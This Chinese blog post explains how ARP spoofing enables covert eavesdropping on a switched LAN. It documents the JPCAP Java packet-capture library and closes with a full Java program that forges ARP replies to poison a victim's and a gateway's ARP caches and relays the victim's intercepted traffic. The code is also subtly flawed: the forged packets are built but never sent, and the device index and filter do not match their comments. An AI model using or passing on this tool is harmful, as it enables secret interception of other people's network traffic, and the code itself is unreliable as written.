局域网监听原理与JPCAP实现-优快云博客

一、监听原理　

　　在详细说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。

　　局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要“欺骗”路由器、“欺骗”交换机，即“ARP欺骗”技术。

　　假设本机为A，监听目标为B。

　　首先，伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入网关IP，目的地址填入B的MAC、IP，然后将这个包发送给B，而B接收到这个伪造的ARP REPLY包后，由于源IP为网关IP，于是在它的ARP缓存表里刷新了一项，将（网关IP，网关MAC）刷新成（网关IP，A的MAC）。而B要访问外部的网都需要经过网关，这时候这些要经过网关的包就通通流到A的机器上来了。

　　接着，再伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入网关MAC、IP，然后将这个包发给网关，网关接收到这个伪造的ARP REPLY包后，由于源IP为B的IP，于是在它的ARP缓存表里刷新了一项，将（B的IP，B的MAC）刷新成（B的IP，A的MAC）。这时候外部传给B的数据包经过网关时，就通通转发给A。

　　这样还只是拦截了B的数据包而已，B并不能上网——解决方法是将接收到的包，除了目的地址部分稍做修改，其它原封不动的再转发出去，这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。

　　ARP数据包解析

　　单元：Byte

Ethernet头部			ARP数据部分
6	6	2	2	2	2	2	4	6	4	6
目标MAC地址	源地MAC地址	类型号0x0800:ip 0x0806:ARP	局域网类型以太网0x0001	网络协议类型 IP网络0x0800	MAC/IP地址长度，恒为0x06/04	ARP包类型 REPLY 0x0002	ARP目标IP地址	ARP目标MAC 地址	ARP源IP地址	ARP源MAC地址

　　2．用JPCAP实现监听

　　就如上面说的，为了实现监听，我们必须做四件事：

　　A．发送ARP包修改B的ARP缓存表；

　　B．发送ARP包修改路由ARP缓存表；

　　C．转发B发过来的数据包；

　　D．转发路由发过来的数据包；

　　下面我们给个小小的例子说明怎样实现。

　　我们假定运行这个程序的机器A只有一个网卡，只接一个网络，所在局域网为Ethernet，并且假定已经通过某种方式获得B和网关的MAC地址（例如ARP解析获得）。我们修改了B和网关的ARP表，并对他们的包进行了转发。

二．JPCAP机制

　　JPCAP的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap的typedef struct _ADAPTERADAPTER，getDeviceList()对应pcap_findalldevs()等等。 JPCAP有16个类，下面就其中最重要的4个类做说明。

　　1．NetworkInterface

　　该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继承自java.lang.Object的基本方法以外，没有定义其它方法。

数据成员
NetworkInterfaceAddress[]
java.lang.String	datalink_description. 数据链路层的描述。描述所在的局域网是什么网。例如，以太网（Ethernet）、无线LAN网（wireless LAN）、令牌环网(token ring)等等。
java.lang.String	datalink_name 该网络设备所对应数据链路层的名称。具体来说，例如Ethernet10M、100M、1000M等等。
java.lang.String	description 网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC
boolean	Loopback 标志这个设备是否loopback设备。
byte[]	mac_address 网卡的MAC地址，6个字节。
java.lang.String	Name 这个设备的名称。例如我的网卡名称：DeviceNPF_

　　2．JpcapCaptor

　　该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接，可以通过该类的实例来控制设备，例如设定网卡模式、设定过滤关键字等等。

数据成员
int	dropped_packets 抛弃的包的数目。
protected int	ID 这个数据成员在官方文档中并没有做任何说明，查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的，这类本身并没有做出定义，所以是供其内部使用的。实际上在对JpcapCator实例的使用中也没有办法调用此数据成员。
protected staticboolean[]	instanciatedFlag 同样在官方文档中没有做任何说明，估计其为供内部使用。
protected staticint	MAX_NUMBER_OF_INSTANCE 同样在官方文档中没有做任何说明，估计其为供内部使用。
int	received_packets 收到的包的数目
方法成员
staticNetworkInterface[]	getDeviceList() 返回一个网络设备列表。
staticJpcapCaptor	openDevice(NetworkInterface interface, intsnaplen, booleanpromisc, intto_ms) 创建一个与指定设备的连接并返回该连接。注意，以上两个方法都是静态方法。 Interface：要打开连接的设备的实例； Snaplen：这个是比较容易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包，而是限制每一次收到一个数据包，只提取该数据包中前多少字节； Promisc：设置是否混杂模式。处于混杂模式将接收所有数据包，若之后又调用了包过滤函数setFilter()将不起任何作用； To_ms：这个参数主要用于processPacket()方法，指定超时的时间；
void	Close() 关闭调用该方法的设备的连接，相对于openDivece()打开连接。
JpcapSender	getJpcapSenderInstance() 该返回一个JpcapSender实例，JpcapSender类是专门用于控制设备的发送数据包的功能的类。
Packet	getPacket() 捕捉并返回一个数据包。这是JpcapCaptor实例中四种捕捉包的方法之一。
int	loopPacket(intcount, PacketReceiver handler) 捕捉指定数目的数据包，并交由实现了PacketReceiver接口的类的实例处理，并返回捕捉到的数据包数目。如果count参数设为－1，那么无限循环地捕捉数据。这个方法不受超时的影响。还记得openDivice()中的to_ms参数么？那个参数对这个方法没有影响，如果没有捕捉到指定数目数据包，那么这个方法将一直阻塞等待。 PacketReceiver中只有一个抽象方法void receive(Packet p)。
int	processPacket(intcount, PacketReceiver handler) 跟loopPacket()功能一样，唯一的区别是这个方法受超时的影响，超过指定时间自动返回捕捉到数据包的数目。
int	dispatchPacket(intcount, PacketReceiverhandler) 跟processPacket()功能一样，区别是这个方法可以处于“non-blocking”模式工作，在这种模式下dispatchPacket()可能立即返回，即使没有捕捉到任何数据包。
void	setFilter(java.lang.Stringcondition, booleanoptimize) .condition：设定要提取的包的关键字。 Optimize：这个参数在说明文档以及源代码中都没有说明，只是说这个参数如果为真，那么过滤器将处于优化模式。
void	setNonBlockingMode(booleannonblocking) 如果值为“true”，那么设定为“non-blocking”模式。
void	breakLoop() 当调用processPacket()和loopPacket()后，再调用这个方法可以强制让processPacket()和loopPacket()停止。

　　3．JpcapSender

　　该类专门用于控制数据包的发送。

方法成员
void	close() 强制关闭这个连接。
staticJpcapSender	openRawSocket() 这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分。
void	sendPacket(Packet packet) JpcapSender最重要的功能，发送数据包。需要注意的是，如果调用这个方法的实例是由JpcapCaptor的getJpcapSenderInstance()得到的话，需要自己设定数据链路层的头，而如果是由上面的openRawSocket()得到的话，那么无需也不能设置，数据链路层的头部将由系统自动生成。

　　4．Packet

　　这个是所有其它数据包类的父类。Jpcap所支持的数据包有：
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket

三、局域网监听代码：

import jpcap.*;
import jpcap.packet.*;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.io.*;
import java.util.*;

public class changeARP
{
private NetworkInterface[] devices; //设备列表
private NetworkInterface device;   //要使用的设备
private JpcapCaptor jpcap;     //与设备的连接
private JpcapSender sender;    //用于发送的实例
private ARPPacket arpTarget,arpGate; //发给B与网关的ARP包
private byte[] targetMAC, gateMAC;   //B的MAC地址，网关的MAC地址
private String targetIp;
private String gateIp;     //B的IP地址，网关的IP地址

private void getDevice() throws IOException
{
  devices = JpcapCaptor.getDeviceList(); //获得设备列表
  device = devices[2];   //只有一个设备
  jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
  jpcap.setFilter("ip",true);   //只监听B的IP数据包
  sender = jpcap.getJpcapSenderInstance(); //获得发送实例
}

public changeARP(byte[] targetMAC,String targetIp,byte[] gateMAC,String gateIp)
  throws UnknownHostException,InterruptedException
{
   this. targetMAC = targetMAC;
   this. targetIp = targetIp;
   this. gateMAC = gateMAC;
   this. gateIp = gateIp;
   try{
     getDevice();     //进行发送前的初始化
   }catch(IOException e){

   }


   arpTarget = new ARPPacket();    //修改B的ARP表的ARP包
   arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)
   arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型
   arpTarget.operation = ARPPacket.ARP_REPLY;   //选择REPLY类型
   arpTarget.hlen = 6;     //MAC地址长度固定6个字节
   arpTarget.plen = 4;     //IP地址长度固定4个字节
   arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
   arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP
   arpTarget.target_hardaddr = targetMAC;   //B的MAC地址
   arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP

   EthernetPacket ethToTarget = new EthernetPacket();   //创建一个以太网头
   ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包类型 ARP
   ethToTarget.src_mac = device.mac_address;    //A的MAC地址
   ethToTarget.dst_mac = targetMAC;     //B的MAC地址
   arpTarget.datalink = ethToTarget;     //将以太头添加到ARP包前

   arpGate = new ARPPacket();     //修改网关ARP表的包
   arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似，不再重复注析
   arpGate.prototype = ARPPacket.PROTOTYPE_IP;
   arpGate.operation = ARPPacket.ARP_REPLY;
   arpGate.hlen = 6;
   arpGate.plen = 4;
   arpGate.sender_hardaddr = device.mac_address; //A的MAC地址
   arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP
   arpGate.target_hardaddr = gateMAC;   //网关MAC
   arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP
   EthernetPacket ethToGate = new EthernetPacket();
   ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
   ethToGate.src_mac = device.mac_address; //A的MAC地址
   ethToGate.dst_mac = gateMAC;  //网管的MAC地址
   arpGate.datalink = ethToGate;

   new Thread(new Runnable(){
    public void run()
    {
     //while(true)
     recP(); //接收数据包并转发
    }
   }).start();
}
private void send(Packet packet, byte[] changeMAC)
{
  EthernetPacket eth;
  if (packet.datalink instanceof EthernetPacket)
   {
    eth = (EthernetPacket) packet.datalink;
    for (int i = 0; i < 6; i++)
     {
      eth.dst_mac[i] = changeMAC[i];    //修改包以太头，改变包的目标
      eth.src_mac[i] = device.mac_address[i]; //源发送者为A
     }
    sender.sendPacket(packet);
   }
}

public void recP()
{
  IPPacket ipPacket = null;
  while(true)
  {
   ipPacket = (IPPacket)jpcap.getPacket();
   if(ipPacket == null) continue;
   System.out.println(ipPacket);
   if (ipPacket.src_ip.getHostAddress().equals(targetIp))
     send(ipPacket, gateMAC); //B的数据到A再到网关
   else
     send(ipPacket, targetMAC); //网关的数据先到A再到B
  }
}

public static void main(String[] args) throws Exception
{

   byte[] targetMAC = new byte[6];
   targetMAC[0] = (byte)0;
   targetMAC[1] = (byte)15;
   targetMAC[2] = (byte)234;
   targetMAC[3] = (byte)84;
   targetMAC[4] = (byte)77;
   targetMAC[5] = (byte)211;
   byte[] gateMAC = new byte[6];
   gateMAC[0] = (byte)0;
   gateMAC[1] = (byte)65;
   gateMAC[2] = (byte)87;
   gateMAC[3] = (byte)87;
   gateMAC[4] = (byte)162;
   gateMAC[5] = (byte)48;
   String targetIp = "192.168.1.2";
   String gateIp = "192.168.1.1";
   changeARP temp = new changeARP(targetMAC,targetIp,gateMAC,gateIp);
}